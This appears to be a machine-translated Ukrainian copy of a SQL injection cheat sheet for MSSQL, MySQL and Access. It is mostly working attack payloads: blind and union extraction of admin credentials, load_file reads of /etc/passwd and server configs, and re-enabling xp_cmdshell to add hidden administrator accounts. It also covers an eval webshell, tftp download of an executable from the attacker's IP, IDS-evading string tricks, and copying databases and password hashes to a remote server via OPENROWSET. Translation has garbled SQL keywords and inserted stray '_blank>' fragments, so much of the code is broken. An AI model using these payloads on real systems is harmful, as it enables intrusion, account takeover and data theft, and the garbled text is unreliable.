MSSQL крос-бази даних запитів (смердюча їжа!) Темний)
Вичавіть кожну краплю MS SQL
Посилання на SQL-оператори та об'єкти набору записів детально пояснюються
Про збережені процедури в SQL Server
Створіть вебшелл за допомогою резервної копії mssql
SQL_Injection Розширені застосування
Крос-сайтова SQL ін'єкція (laokai)
Дивна SQL-ін'єкція (AMANL)
Розширена ін'єкція SQL у додатках SQL Server
Як використовувати SQL-ін'єкцію для проходження каталогів
Огляд технік SQL-ін'єкції (Перекладач: demonalex)
Деякі атаки на бази даних SQL
Техніка атаки за допомогою SQL-ін'єкцій (JSW)
SQL_Injection Розширені застосування (APACHY)
Рідкісні методи ін'єкції SQL (ветеран Guilin)
Резервне копіювання оболонки
Поговоріть про структуру оператора php+mysql ін'єкції (Heyhehehehe·≯Super· Гей)
Розширена ін'єкція SQL за допомогою MySQL(ангел)
L'injection (My)SQL через PHP
Oracle SQL Language
Енциклопедія ручної ін'єкції SQL
Передумови потребують інструментів: SQL Query Analyzer та SqlExec Sunx Version ============================================================================================== 1. Визначити, чи існує точка ін'єкції ; та 1=1 і 1=2 2. Мабуть, назва таблиці — це не більше ніж пароль адміністратора, адміністратора, user pass тощо: та 0<>(виберіть count(*) з *) та 0<>(вибрати count(*) з admin) — Визначити, чи існує адміністративна таблиця 3. Вгадайте кількість рахунків. Якщо ви зустрінете 0< поверніться на правильну сторінку 1< поверніть сторінку помилки, щоб показати, що кількість рахунків дорівнює 1 та 0<(виберіть count(*) з адміністратора) та 1<(виберіть count(*) з адміністратора) 4. Вгадайте назву поля Додайте назву поля, яку ми уявляємо у дужках len( ). та 1=(вибрати count(*) з адміністрації, де len(*)>0)– та 1=(вибрати count(*) з адміністратора, де len(ім'я поля користувача)>0) та 1=(вибрати count(*) з адміністратора, де len(_blank>ім'я поля пароля)>0) 5. Вгадайте довжину кожного поля Вгадайте довжину для перетворення >0, поки не повернеться правильна сторінка та 1=(вибрати count(*) з адміністратора, де len(*)>0) та 1=(вибрати count(*) з admin, де len(name)>6) помилка та 1=(вибрати count(*) з адміністратора, де len(name)>5) Правильна довжина — 6 і 1=(вибрати count(*) з admin, де len(name)=6) правильно і 1=(вибрати count(*) з адміністратора, де len(пароль)>11) правильний та 1=(вибрати count(*) з адміністратора, де довжина помилки len(password)>12) дорівнює 12 та 1=(вибрати count(*) з admin, де len(пароль)=12) правильний 6. Вгадайте персонажів та 1=(вибрати count(*) з адміністратора, де left(name,1)=a) — вгадайте першу цифру облікового запису користувача та 1=(вибрати count(*) з admin, де left(name,2)=ab) — вгадайте другу цифру облікового запису користувача Просто додайте по одному символу, щоб вгадати, вгадайте стільки цифр, скільки ви щойно вгадали, і з'явиться номер рахунку (1) Вгадай назву столу
Використані речення: та існує (вибрати * з назви таблиці)
Наприклад: і існує (вибрати * з адміністратора)
Якщо сторінка відображає правильно, це означає, що назва таблиці, яку ми тут вгадали, правильна, а якщо сторінка неправильна, то назва таблиці, яку ми тут написали, неправильна
, потім змініть назву таблиці і продовжуйте вгадувати, поки не вгадаєте.
Зазвичай часто використовувані назви таблиць включають admin, manage, user або put it in tool run (2) Вгадай поле
Використані речення: та існує (виберіть назву поля з назви таблиці)
Наприклад: та існує (виберіть ім'я користувача з адміністратора)
Тут, припускаючи, що адміністративна таблиця — це таблиця, яку я правильно вгадав вище, я хочу визначити, чи існує поле імені користувача, мені потрібно використати цей оператор, якщо сторінка
Якщо відлуння обличчя правильне, це означає, що назва поля, яку ми тут вгадали, правильна, а якщо сторінка неправильна, то назва поля, яку ми тут написали, неправильна
, потім змініть назву поля і продовжуйте вгадувати, доки не вгадаєте.
Зазвичай поширені назви полів включають ім'я користувача, пароль, user, pass, name, pass, pwd, usr, psd та інші поля (3) впорядкувати за
Порядок за — це для отримання суми кількості полів на цій сторінці, готуючись до наступного спільного запиту (4) Вибір профспілки
1. Якщо ви підтримуєте спільний запит, знайдіть біт відображення http://www.xxx.com/product_show.asp?id=1 та 1=2 об'єднання select
1,2,3,4,5,6,7,8,9,10,11 Припустимо, що біти дисплея дорівнюють 5,6. Далі потрібно замінити назви полів, що відповідають імені користувача та паролю адміністратора, на позицію відображеного біта тут
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 від адміністратора знайшов фоновий вхід 2. Якщо спільний запит не підтримується Ім'я користувача та пароль адміністратора неможливо отримати без спільного запиту — за допомогою дослівного декодування Ascii Два Використовуйте порядок , щоб оцінити кількість бітів у таблиці, а якщо не працює — використовуйте об'єднання для розташування їх по одному, тут ми припускаємо, що це 8 бітів Три Використовуйте спільний запит для визначення бітів відображення Чотири Використовуйте біт відображення для пошуку назви бази даних, версії бази, може бути введена 5.0 або вище
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, версія()),8 П’ять З назвою бази даних ви можете почати отримувати схему назви таблиці =, потім значення HEX імені бази даних і вгадати назву таблиці
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +з+information_schema.стовпців+де+ table_schema=0x666C6965725F6462617365 Шість Проаналізована назва таблиці визначає значення HEX для ім'я таблиці адміністратора=ім'я таблиці та вгадує поля в таблиці http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ЧІТКО
+column_name),8+ from+information_schema.columns+де+table_name=0x7075625F7765626D6173746572 Сім Після того, як поля встановили в адміністративній таблиці, давайте отримаємо їхній вміст http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ЧІТКО
+ім'я користувача, 0x5f,userpwd),8+from+pub_webmaster Вісім Інструмент сканує фон: увійдіть, щоб завантажити троян після того, як знайдете його, і якщо не знайдете robots.txt файл, до якого можна отримати доступ Дев’ять Якщо не знайдете фон, пароль адміністратора MYSQL буде відкритий http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(користувач,пароль),8+from+mysql.user Десять Випадковий доступ до шляху — і зворотний зв'язок — це сторінка 404 за замовчуванням IIS6, що вказує, що сервер сайту: Windows+IIS6+php+MySQL середовище c:\\windows\\system32\\inetsrv\\MetaBase.xml Цей шлях дозволяє отримати інформацію про конфігурацію сайту. Конструюйте твердження http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Одинадцять Проаналізуйте код і знайдіть фонову адресу На першому кроці потрібно отримати довжину полів у таблиці Використані твердження: та (вибрати топ-1 len(ім'я поля) з назви таблиці)>0 Наприклад, що саме: та (виберіть топ-1 LEN(admin_name) з адміністратора)>0 Сторінка відображається нормально, довжина поля admin_name більша за 0, і я надішлю:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Сторінка показує помилку, що поле знаходиться між 0 і 10, а довжина — 5 за дихотомією Використовуючи той самий метод для визначення довжини поля для пароля адміністратора, я отримую довжину 16 Крок 2 Тепер перейдемо до другого кроку: візьмемо певний символ у полі і отримаємо ASCII-код цього символу, який використовується
Твердження: та (вибрати топ-1 ASC (півполе (ім'я поля, N,1)) з назви таблиці)>0 Дозвольте розглянути це речення окремо, спочатку найвсерединішу функцію mid(ім'я користувача, 1,1), яка є першим символом поля admin_name N
вказує, що перші кілька символів слід перехопити, Тоді зовнішня функція asc(), яка перетворює символи, перехоплені середньою функцією, у ASCII-код — зовнішній верхній 1 — представляє поле повернення першого місця
Отже, рекорд, «>0» в кінці порівнює конвертований ASCII-код із цим числом і нарешті отримує перехоплення, постійно змінюючи останнє значення
Дізнайтеся конкретну інформацію про цього персонажа ASCII-код Подання:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Сторінка відображається нормально, що означає, що ASCII-код цього символу перевищує 30. Подання:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Сторінка відображається нормально, що означає, що ASCII-код цього символу перевищує 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII-код, який я отримав для цього персонажа, — 97 Порівняйте таблицю ASCII: Можна зробити висновок, що перший символ — це «a». Потім я оціню ASCII-код другого символу.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Сторінка відображається нормально, що означає, що ASCII-код символу перевищує 90, і останнє значення завжди змінюється Той самий метод давав пароль адміністратора, і результат, який я отримав:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 та 1=(вибрати топ-1 count(*) з Admin, де Asc(mid(pass,5,1))=51) – Цей запит може вгадати китайського користувача та _blank> пароль. Просто замініть наступні цифри на китайський код ASSIC
Конвертуйте у персонажів.
група за users.id має 1=1–www.myhack58.com група за users.id, user.username, users.password, users.privs мають 1=1– ; Вставити у значення користувача (666, attacker, foobar, 0xffff)–
UNION SELECT ТОП-1 COLUMN_blank>_NAME З INFORMATION_blank>_SCHEMA. СТОВПЦІ Де
TABLE_blank>_NAME=logintable- UNION SELECT ТОП-1 COLUMN_blank>_NAME З INFORMATION_blank>_SCHEMA. СТОВПЦІ Де
TABLE_blank>_NAME=logintable Де COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION SELECT ТОП-1 COLUMN_blank>_NAME З INFORMATION_blank>_SCHEMA. СТОВПЦІ Де
TABLE_blank>_NAME=logintable Де COLUMN_blank>_NAME NOT IN
(login_blank>_id,login_blank>_name)- UNION Select TOP 1 login_blank>_name З logintable- UNION Вибрати ТОП 1 пароль З logintable, де login_blank>_name=Rahul– Подивіться на патч, який відтворює сервер _blank> = неправильний патч SP4, чорна смуга безпеки та 1=(вибраний @@VERSION)–
Подивіться на права доступу облікового запису _blank> бази даних, і він повертає нормальний статус, доводячи наявність дозволу системного адміністратора для ролі _blank> сервера. та 1=(Вибрати IS_blank>_SRVROLEMEMBER(системний адміністратор))–
Визначте, що обліковий запис бази даних _blank> підключений. (Використовуйте обліковий запис SA для підключення та повернення нормального = доведіть, що підключений акаунт є SA) та sa=(Вибраний System_blank>_user)– та user_blank>_name()=dbo– та 0<>(вибраний user_blank>_name()–
Подивіться, чи видаляє xp_blank>_cmdshell та 1=(Вибрати count(*) З master.dbo.sysobjects Де xtype = X І ім'я = xp_blank>_cmdshell)
–
xp_blank>_cmdshell видаляється, відновлюється і підтримує абсолютне відновлення шляху ; ВИКОНАВЧИЙ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== дозвіл на базу даних відкривається фізичному коду шляху вебсайту
========================================================================== 1、таблиця дропу [jm_tmp]; Створити таблицю [jm_tmp](значення navrchar(4000) null,дані nvarchar(4000)
null) -- Створити таблицю
2、 видалити [jm_tmp]; Вставити [jm_tmp] виконавчого master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Вставте каталог сайту в поле таблиці
3、та (вибрати топ-1 cast([data] as nvarchar(4000) char(124) з [jm_tmp] порядку за [data]
desc)=0 '//Відкрите поле
4. Викинути таблицю [jm_tmp] — видалити цю таблицю. для командування, щоб отримати снаряд
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Інші маршрути станцій ======================load_file() Поширена чутлива інформація =========================================== 1、 замінити(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,115,119,100)),char(60),char(32)) Вищезазначені два призначені для перегляду PHP-файлу, який повністю відображає код. Іноді деякі символи не замінюються, наприклад, «<» замість «пробіл» повертається
Веб-сторінка. І код не можна переглянути.
3. load_file(char(47)) може вказати кореневий каталог систем FreeBSD і Sunos
4. Перегляньте файл конфігурації віртуального хоста Linux APACHE у /etc/httpd/conf/httpd.conf або /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf або C:\apache\conf\httpd.conf для перегляду WINDOWS
System Apache File
6. c:/Resin-3.0.14/conf/resin.conf Перегляньте інформацію про конфігурацію файлів смоли на сайті, розробленому jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf для перегляду віртуального хоста JSP, налаштованого на систему Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin вибуховий шлях
11. C:\Windows\system32\inetsrv\MetaBase.xml Переглянути файл конфігурації віртуального хоста IIS
12. /usr/local/resin-3.0.22/conf/resin.conf для перегляду файлу конфігурації RESIN для версії 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Те саме, що й вище
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Віртуальний хост APASHE
15. /etc/sysconfig/iptables залежить від політики міжмережевого екрану
16. /usr/local/app/php5 b/php.ini PHP-еквівалентні налаштування
17. /etc/my.cnf файл конфігурації MYSQL
18. /etc/redhat-версія системи Red Hat
19 、C:\mysql\data\mysql\user. MYD існує в паролі користувача в системі MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 для перегляду IP.
21. /usr/local/app/php5 b/php.ini //PHP, пов'язані налаштування
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // налаштування віртуального сайту
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue відображає інформацію про розподіл ядра Linux
26、/etc/ftpuser
27. Перевірте журнал операцій під LINUX user.bash_history або .bash_profile
28、/тощо/шш/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Експериментуйте з зворотним PING самостійно ; використовуйте майстра; оголосити @s інтелект; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Виконавчий
sp_blank>_oamethod @s,"run", NULL,"cmd.exe /c ping 192.168.0.1"; –
Додати акаунт ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Створіть віртуальний каталог E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Атрибути доступу: (з записом у вебшел) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Спеціальний _blank> трюк для bursting бібліотеки: :%5c=\ або змінити %5 з / і \ для комміту та 0<>(вибрати топ-1 шлях з newtable)–
Отримайте назву бази даних (від 1 до 5 — це ідентифікатори системи, і їх можна оцінити вище 6) та 1=(виберіть назву з master.dbo.sysdatabases, де dbid=7)– та 0<>(виберіть count(*) з master.dbo.sysdatabases, де name>1 та dbid=6) Відправити dbid по черзі = 7,8,9.... Дізнайтеся більше _blank> назв баз даних
та 0<>(виберіть назву топ-1 з bbs.dbo.sysobjects, де xtype=U) вводять у таблицю з припущенням адміністратора та 0<>(виберіть топ-1 ім'я з bbs.dbo.sysobjects, де xtype=ви і ім'я відсутнє в (Admin)).
Інші столи. та 0<>(виберіть count(*) з bbs.dbo.sysobjects, де xtype=ви та name=admin та uid>(str(id))) Чисельне значення UID вважається 18779569 uid=id і 0<>(виберіть топ-1 ім'я з bbs.dbo.syscolumns, де id=18779569) отримує поле admin, false
Налаштований на user_blank>_id та 0<>(виберіть топ-1 назву з bbs.dbo.syscolumns, де id=18779569 а ім'я не входить (id,...)) щоб відкрити інші поля та 0<(виберіть user_blank>_id з BBS.dbo.admin, де ім'я користувача>1) для отримання імені користувача У свою чергу, ви можете отримати _blank> пароль。。。。。 Припустимо, є поля, такі як user_blank>_id ім'я користувача, пароль тощо
та 0<>(виберіть count(*) з master.dbo.sysdatabases, де name>1 та dbid=6) та 0<>(виберіть назву топ-1 з bbs.dbo.sysobjects, де xtype=U) для отримання назви таблиці та 0<>(виберіть топ-1 ім'я з bbs.dbo.sysobjects, де xtype=ви та ім'я не в(Адреса)) та 0<>(виберіть count(*) з bbs.dbo.sysobjects, де xtype=u та name=admin та uid>(str(id)))
Визначте значення id та 0<>(виберіть назву топ-1 з BBS.dbo.syscolumns, де id=773577794) — усі поля
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* від admin ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 від admin (union,access також простий у використанні)
Отримайте шлях WEB ; Створити таблицю [dbo]. [обмін] ([swappass][char](255)); – та (виберіть топ-1 swappass зі Swap)=1– ; Створити TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Оголосити @test varchar(20) exec
Майстре... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=СИСТЕМА
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT вставити у значення шляхів(шляхів)(@test)– ; використовуйте ku1; – ; створити таблицю CMD (зображення STR); – Створити CMD таблиці типу зображення 1. Спосіб усунути процес розширення xp_cmdshell полягає у використанні наступного твердження:
якщо існує (виберіть * з dbo.sysobjects, де id=object_id(N'[dbo].[ xpcmdshell]') та
OBJECTPROPERTY(id,N'IsExtendedProc')=1) виконавчий sp_dropextendedproc N'[DBO]. [xp_cmdshell]'
2. Для додавання xp_cmdshell процесу розширення є використання наступного твердження:
(1) SQL-аналізатор запитів
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Спочатку заповніть % у опції Формат SqlExec Sunx Version і введіть їх у опції CMD
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
Видалити
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Існує xp_blank>_cmdshell процеси тестування: ; Виконавчий майстер... xp_blank>_cmdshell режисер ; виконавчий master.dbo.sp_blank>_addlogin Цзяонян$; – Додати SQL-акаунти ; виконавчий master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; виконавчий master.dbo.sp_blank>_addsrvrolemember jiaoniang$ системного адміністратора; – ; exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell Net LocalGroup Administrators jiaoniang$ /add; – Виконавчий майстер... xp_blank>_servicecontrol початок, розклад для початку _blank> сервісу Виконавчий майстер... xp_blank>_servicecontrol старт, сервер ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Виконавчий майстер... xp_blank>_cmdshell tftp – i youip get file.exe – Завантажуйте файли за допомогою TFTP
; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir C:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\ ; оголосити @a; множина @a=db_blank>_name(); Резервне копіювання бази даних @a на disk=ваш IP Ваш спільний каталог bak.dat Якщо обмежено — так. виберіть * з openrowset(_blank>sqloledb,server; sa; ,обери ОК! Виконавчий
master.dbo.sp_blank>_addlogin Хакс)
Структура запиту: Вибрати * З новин Де id=... І тема=... І ..... адміністратор 1=(виберіть count(*) з [user], де username=victim і right(left(userpass,01),1)=1)
та userpass <> виберіть 123; – ; використовуйте майстра; – :a або ім'я, як fff%; – Показує користувача на ім'я ffff. та 1<>(вибрати count(email) від [користувача]); – ; Оновлення [користувачів] Встановити email=(Виберіть назву топ-1 з SysObjects, де xtype=ви та статус>0), де
ім'я=ffff; – ; Оновити [користувачів] встановити email=(виберіть ідентифікатор топ-1 з sysobjects, де xtype=ви та name=ad) де
ім'я=ffff; – ; Оновити [користувачі] Встановити email=(виберіть назву топ-1 з SysObjects, де xtype=ви та id>581577110)
де name=ffff; – ; оновити [користувачі] встановити email=(виберіть топ-1 count(id) з пароля), де name=ffff; – ; Оновити [користувачів] Встановити email=(виберіть Top 1 PWD з пароля, де id=2), де name=FFFF; – ; оновити [користувачі] встановити email=(виберіть топ-1 ім'я з пароля, де id=2), де name=ffff; – Вищезазначене твердження полягає в тому, щоб отримати першу таблицю користувачів у базі даних _blank> і вставити назву таблиці в поле пошти користувача ffff. Переглянувши профіль користувача ffff, можна отримати першу таблицю під назвою AD Потім отримайте ID цієї таблиці відповідно до оголошення назви таблиці, щоб отримати назву другої таблиці
вставити у значення користувачів(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– вставити у значення користувачів( 667,123,123,0xffff)– Вставити у користувацькі значення (123, admin–, password, 0xffff)– ; та користувач>0 ; та (вибрати count(*) з sysobjects)>0 ; та (вибрати count(*) з mysysobjects)>0 // для бази даних access_blank>
Перелічіть назву таблиці даних ; Оновити aaA Set aaa=(Виберіть назву топ-1 з SysObjects, де xtype=Ви та Status>0); – Саме тут перша назва таблиці оновлюється до поля AAA. Прочитайте першу таблицю, і другу можна прочитати ось так (додати і назвати за умовою<> назвою таблиці, яку ви щойно отримали). ; Оновлення AAA, set aaa=(Виберіть топ-1 ім'я з системних об'єктів, де xtype=ви та status>0 та
ім'я<>голос); – Тоді id=1552 і існує (вибрати * з aaa, де aaa>5) Прочитайте другу таблицю і по черзі, поки не залишиться жодної таблиці. Поле читання виглядає так: ; оновлення AAA set aaa=(Виберіть топ-1 col_blank>_name(object_blank>_id(назва таблиці),1)); – Тоді id=152 і exists(виберіть * з aaa, де aaa>5) отримує помилку і отримує назву поля ; оновити набір AAA=(вибрати топ-1 col_blank>_name(object_blank>_id(назва таблиці),2)); – Тоді id=152 і exists(виберіть * з aaa, де aaa>5) отримує помилку і отримує назву поля
[Отримати назву таблиці даних] [Оновіть значення поля до назви таблиці, а потім оголосіть значення цього поля, щоб отримати назву таблиці] Поле набір імен таблиці оновлення=(Виберіть топ-1 ім'я з sysobjects, де xtype=ви та статус>0 [ та ім'я<>
Назва таблиці, яку ви отримуєте: Знайти один плюс один]) [ де умова] виберіть топ-1 ім'я з sysobjects, де xtype=ви та
статус>0 та ім'я відсутнє у (таблиця 1, таблиця 2,...) Створення облікового запису адміністратора бази даних та облікового запису системного адміністратора _blank> _blank> впровадження вразливості через SQLSERVER [Поточний обліковий запис має бути групою SYSADMIN]
[Отримати назву поля таблиці даних] [Оновіть значення поля до імені поля, а потім зчитайте значення цього поля, щоб отримати ім'я поля] Update table name set field=(виберіть топ-1 col_blank>_name(object_blank>_id (назва таблиці даних до запиту), стовпець поля
Наприклад: 1) [ де умова]
Обхід виявлення IDS [з використанням змінних] ; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir C:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\
1. Відкрити віддалену базу даних _blank> Базовий синтаксис вибрати * з OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, вибрати * зі таблиці1 ) Параметри: (1) Ім'я провайдера OLEDB 2. Параметр рядка з'єднання може бути будь-яким портом для підключення, наприклад select * з OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,
вибрати * зі таблиці 3. Скопіюйте всю базу даних _blank> цільового хоста та вставте всі віддалені таблиці до локальної таблиці.
Базовий синтаксис: вставити у OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, вибрати * зі таблиці1) вибрати
* зі таблиці 2 Цей рядковий оператор копує всі дані з таблиці таблиці 2 на цільовому хості до таблиці таблиці 1 у віддаленій базі даних _blank>. Відповідний ремонт у практичному застосуванні
Змініть IP-адресу та порт рядка з'єднання, щоб вони вказували туди, де вони потрібні, наприклад: вставити у OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,вибрати
* з таблиці1) вибрати * зі таблиці2 вставити у OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,вибрати
* з _blank>_sysdatabases) Вибрати * з master.dbo.sysdatabases вставити у OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,вибрати
* з _blank>_sysobjects) Виберіть * з user_blank>_database.dbo.sysobjects вставити у OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,вибрати
* з _blank>_syscolumns) Вибрати * з user_blank>_database.dbo.syscolumns Реплікувати _blank> базу даних: вставити у OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,вибрати
* з таблиці1) вибрати * з бази даних.. Таблиця1 вставити у OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,вибрати
* з таблиці 2) вибрати * з бази даних.. Таблиця 2
Хеш пароля, який копіює хеш-таблицю (HASH) для входу _blank> пароля, зберігається в sysxlogins. Ось як: вставити у OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Мережа=DBMSSOCN; Адреса=192.168.0.1,1433; ,вибрати * з _blank>_sysxlogins)
Вибрати * з database.dbo.sysxlogins Як тільки отримаєш хеш, можеш перебрати його силою.
